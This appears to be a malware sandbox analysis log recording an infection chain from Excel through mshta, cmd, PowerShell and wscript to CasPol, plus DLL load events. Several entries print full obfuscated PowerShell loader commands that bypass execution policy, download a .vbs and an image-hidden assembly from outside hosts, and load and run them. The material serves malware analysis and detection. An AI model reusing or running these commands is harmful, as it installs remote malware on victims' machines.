'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES474.tmp" "c:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process created: C:\Windows\System32\DWWIN.EXE C:\Windows\system32\dwwin.exe -x -s 2156	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5216.tmp" "c:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
